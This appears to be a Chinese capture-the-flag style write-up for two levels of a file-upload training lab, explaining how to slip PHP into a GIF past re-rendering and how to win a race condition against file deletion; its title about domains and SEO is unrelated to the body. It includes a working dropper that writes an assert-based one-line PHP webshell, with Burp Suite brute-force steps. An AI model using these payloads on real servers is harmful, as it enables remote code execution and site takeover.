最值錢的域名列表谷歌seo搜索引擎
目錄
- 第十六關
- 第十七關
第十六關
直接上傳php文件判斷限制方式:
同第十五關白名單限制
第十六關源碼:
代碼邏輯判斷了后綴名、content-type,以及利用imagecreatefromgif判斷是否為gif圖片,最后再做了一次二次渲染
第71行檢測 f i l e e x t 和 fileext和 fileext和filetype是否為gif格式.
然后73行使用move_uploaded_file函數來做判斷條件,如果成功將文件移動到$target_path,就會進入二次渲染的代碼,反之上傳失敗.
在這里有一個問題,如果作者是想考察繞過二次渲染的話,在move_uploaded_file( t m p n a m e , tmpname, tmpname,target_path)返回true的時候,就已經成功將圖片馬上傳到服務器了,所以下面的二次渲染并不會影響到圖片馬的上傳.如果是想考察文件后綴和content-type的話,那么二次渲染的代碼就很多余.(到底考點在哪里,只有作者清楚.哈哈)
由于在二次渲染時重新生成了文件名,所以可以根據上傳后的文件名,來判斷上傳的圖片是二次渲染后生成的圖片還是直接由move_uploaded_file函數移動的圖片.
我看過的writeup都是直接由move_uploaded_file函數上傳的圖片馬.今天我們把move_uploaded_file這個判斷條件去除,然后嘗試上傳圖片馬.
上傳gif
將<?php phpinfo(); ?>添加到gif的尾部.
成功上傳含有一句話的111.gif,但是這并沒有成功.我們將上傳的圖片下載到本地.
可以看到下載下來的文件名已經變化,所以這是經過二次渲染的圖片.我們使用16進制編輯器將其打開
可以發(fā)現,我們在gif末端添加的php代碼已經被去除.
關于繞過gif的二次渲染,我們只需要找到渲染前后沒有變化的位置,然后將php代碼寫進去,就可以成功上傳帶有php代碼的圖片了.
經過對比,藍色部分是沒有發(fā)生變化的
我們將代碼寫到該位置.
上傳后在下載到本地使用16進制編輯器打開,可以看到php代碼沒有被去除.成功上傳圖片馬
繞過思路:
1、把經過二次渲染的圖片進行捆綁webshell圖片馬,文件上傳時候 文件名為.gif后綴、文件類型content-type:image/gif、文件頭GIF89a
推薦使用gif格式,十六進制編輯圖片文件找到二次渲染未修改的圖片區(qū)域插入一句話木馬
第十七關
第十七關源碼:
代碼邏輯:
這里先將文件上傳到服務器,然后通過rename修改名稱,再通過unlink刪除文件,因此可以通過條件競爭的方式在unlink之前,訪問webshell
繞過思路:
1、條件競爭繞過上傳webshell
上傳一個fputs寫入shell文件功能的webshell,通過python或者burpsuite訪問該文件
f.php文件內容
<?php fputs(fopen('shell.php','w'),'<?php @assert($_POST[c]);?>'); ?>burpsuite抓包:通過爆破形式不斷的進行文件上傳
burpsuite抓包:通過爆破形式不斷的訪問該文件